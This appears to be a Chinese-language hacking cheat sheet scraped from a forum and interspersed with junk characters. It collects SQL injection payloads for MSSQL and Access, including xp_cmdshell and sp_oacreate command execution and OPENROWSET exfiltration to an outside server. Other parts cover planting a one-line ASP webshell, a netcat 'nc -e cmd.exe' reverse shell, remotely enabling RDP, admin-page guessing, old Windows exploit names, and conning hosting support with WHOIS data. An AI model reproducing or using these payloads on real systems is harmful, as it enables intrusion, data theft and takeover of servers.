SA点数据库分离技术相关
$ J$ i2 ~: s* q3 z; K% y y; p3 `' \, O5 ?* m; v. T
- e! C9 S S6 B# R
SA点数据库分离搞法+语句:
1 z4 i. B: G2 l; m9 c
# _0 `8 I8 o4 f. c. i注射点不显错,执行下面三条语句页面都返回正常。- B% O5 a1 W/ `1 m9 R6 ]
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'): R$ Q, Y% J5 k5 @$ Z
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
1 e5 G2 ^& ~7 w$ @( Aand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')# e% f3 C$ {/ r# K }! ^/ B
可以列目录,判断系统为2000,web与数据库分离) A$ p. T) m L& q6 G9 {- F6 f
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。/ d3 v! Z' W1 ^' p
在注射点上执行
0 u( X4 m: k4 g7 _3 cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
# n7 X, L- |4 q& @页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP! g; b# E* c9 n8 M
还有我用NC监听得其他端口都没有得到IP。9 H" O& o0 d. c. d" k. U' w* s
/ q1 y9 C! l7 I% |+ [( f8 R通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。3 t+ G6 Y- s3 @% l/ J c+ Z
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--- M+ K+ a7 J7 N$ f& y& a) N# `3 L$ F
" e* B0 ~+ g. z- }3 d/ E# s;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
6 {* }1 u3 |& R
- ~$ k; q# O2 }6 z0 w) x/ v现在就猜想是不是数据库是内网而且不能连外网。- S& Y; n. }9 r5 ?" k7 j& n1 D
: T( L+ D+ B# z9 k& N* ~
' H1 h# @6 A& |+ n: H, y% Zaccess导出txt文本代码
: d$ c! w' L& {% i) G2 HSELECT * into [test.txt] in 'd:\web\' 'text;' from admin- U* m/ A) x+ h0 I& n- }3 N
3 u' F" j4 V9 s/ @1 p/ _/ n
" b; W+ s4 x. {! e; B+ F& s
; [ M% g& ~0 M \- X# U4 j5 ?* o
自动跳转到指定网站代码头3 b* l% V. n. g$ }! Q
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>6 _) O \, R# X) V
& `# |% P6 k8 Z% Z9 X4 V- O, k4 y" e$ N# T3 ]# U
入侵java or jsp站点时默认配置文件路径:
0 ~, t6 F. a! x' }/ j. i. u\web-inf\web.xml6 E/ Q% |# E6 n8 ?# @/ P( ]" g
tomcat下的配置文件位置:: e6 U8 y6 s+ k8 x6 r
\conf\server.xml (前面加上tomcat路径)
d6 @# i/ B/ S1 ^\Tomcat 5.0\webapps\root\web-inf\struts-config.xml% d3 v A: W( Z( b3 i, ?
% \. s/ \' I- j3 o: C$ U( b3 L9 e3 h3 p5 ]4 b1 k6 Q* B$ J) s
5 f# L% g% r8 g: f6 P( ~- e/ d% c检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:1 T( k* s6 t9 h1 \
-1%23
~8 }2 e4 {/ G. K8 k9 s> . J$ g1 U2 s- Z8 Q( @
<
# X- D& e# ^( K' D6 W8 G1'+or+'1'='1
: m* g" }% [) d2 h2 E( qid=8%bf
4 c* B( C r, r% j7 f$ l0 @8 z! p6 q7 Z4 e: }7 i! ~5 }" J% g
全新注入点检测试法:9 @6 l/ j0 d% l+ u$ C
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。, v% U+ K/ y9 g3 r1 }
- A/ R+ R- E( O1 j# n$ {3 z在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。) Y8 W. b; K' T: }7 g/ f
$ J# L7 }, F' L- T' J8 D9 e
搜索型注入判断方法: G6 B x* } c) |" ]
北京%' and '1'='1' and '%'='
4 v1 C* \: {* i4 U# U% t! Y北京%' and '1'='2' and '%'='
5 R. h+ O; u- ~- d" Z' B9 g; {5 u3 h- H- T6 s
4 f, j& {7 j+ L: ?' ~" lCOOKIES注入:9 |8 S" u7 [/ A q
; `. @8 w- W* L: k) l3 w8 v/ V2 V3 a
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
' \0 _! b& B. }5 v `& w, I. g% ?- W+ Z6 I; i# `2 w: p( c* I, R
2000专业版查看本地登录用户命令:5 x) B) M5 H* ~
net config workstation6 s2 j& ^! \$ v# U6 z
1 Y9 s/ R& q9 C, c% ]: T
2 n# h& t3 J% k, @. m ]2003下查看ipsec配置和默认防火墙配置命令:6 }8 }: c/ d( C6 j9 o1 v; _
netsh firewall show config
. ]6 d* x2 d, X1 unetsh ipsec static show all
' J2 _: w+ O% t( w: y5 f; h! t9 x7 e+ b, y, _, L
不指派指定策略命令:% Z2 g6 z: n; p, _# N, `- Q$ t
netsh ipsec static set policy name=test assign=n (test是不指派的策略名)
- o$ R+ k, J9 Knetsh ipsec static show policy all 显示策略名
1 l+ D, Q' V. g- l& r% ]9 H# l4 `2 W y; N8 r" L% V
5 B: o' s3 P$ b; A+ _- }+ b6 G( b猜管理员后台小技巧:9 c1 |5 c x/ @7 p
admin/left.asp
3 ?" J. ?7 W. B: tadmin/main.asp
- W# g* E: ^ L. oadmin/top.asp x) H0 g9 q4 f8 T( {6 M- B
admin/admin.asp
" N0 I, O' Y, i& z1 U, Y会现出菜单导航,然后迅雷下载全部链接, T7 R6 T5 N6 j
: O( c& o, l& \0 Z/ I0 z
: s; N. n) F1 U9 f D社会工程学:% g- v: G y) Q
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人/ I j1 k& ^% M: }( t1 I
然后去骗客服
# D% E5 I% ~: p4 g
0 x7 D1 F0 F: E! r) H
4 N! l# h( S* ~! Q( k* y1 Q$ `统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
0 y" b" D: F4 p查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
5 ]+ F. P1 U. z4 V6 r 存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
7 @! w: ~0 d) j' Q2 g. e4 s) Z( y* w/ `( |1 C
8 N7 j1 ?# Q: W1 B, Q
5 M( L; \9 ?+ g8 D j5 K+ n* S# u) f6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)! Z5 S1 e# b+ c* Q7 n# X
; w; d" Z; A' B* i4 S( T2 z7 R; _6 }
" G7 \* o; i2 }
CMD加密注册表位置
( l1 F- R; D6 b9 w; k(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
, R+ C3 t. u Y1 w. h4 D, KAutoRun) {7 D0 q! M5 C$ S; g5 s9 D
1 y- K7 r" M& f" u! [! H
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor+ m% N- L( W/ P3 I7 A- ?7 M
AutoRun
& I3 b2 d2 n2 W. T4 D! P/ w" D( ^, v
" b+ J0 e" a% t0 A+ [3 H4 U
& W! T* w0 A9 b在找注入时搜索Hidden,把他改成test$ d3 g& ^5 u8 I7 i4 ?- Y+ e+ `
. `6 W; |3 _3 P1 v2 k, {9 h2 B" h$ M- x! U, Z; d
" s9 k9 O: o! l' F
mstsc /v:IP /console n0 i4 ]5 E+ ]6 \" c$ W6 c
+ y; F( ]3 c I+ B' f/ B& }8 \( `7 L% _/ Q" l: a% q
一句话开3389:
+ Q+ g, v: M, F2 a/ {6 G z
) L9 V# V5 f8 }+ [最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
' T, t! A. x# X: l v$ D+ u9 C% O开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.9 G+ k% {9 T$ \2 |8 t% c
. y) L5 S# ]8 P) ?/ b. U1 m
' F. U7 D( T6 f& [# u0 j5 n2 x知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
$ g0 {# l: P4 a! O; u4 Q0 n; ~Insert into admin(user,pwd) values('test','test')
: \$ R5 |0 M0 t7 w8 I8 ^6 \" h9 Q1 D/ b# b3 Z( T1 x; `$ f) B# y
9 G. Y' |5 p+ [1 y- F$ pNC反弹
0 e) ?) ?8 `# _3 Y. ^! T0 @( c0 o先在本机执行: nc -vv -lp 监听的端口 (自己执行) - [, _7 r# {+ b
然后在服务器上执行: nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
6 j2 w( B$ w# S5 g+ s% Y
7 I( o: s# L, F3 C/ j6 F. C3 A
4 Z. `# P7 {% [' |在脚本入侵过程中要经常常试用%00来确认下参数是否有问题2 H. S2 p( b* b) E* _6 X( C. w2 I
* s0 L5 B0 L( ]7 C8 |有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录/ }4 f2 O- o2 Y: z2 g4 i* ]) o
例如:
$ {/ c5 l; k$ x" Ksubst k: d:\www\ 用d盘www目录替代k盘
5 a" Q' A/ {9 T& [5 _subst k: /d 解除K盘代替 |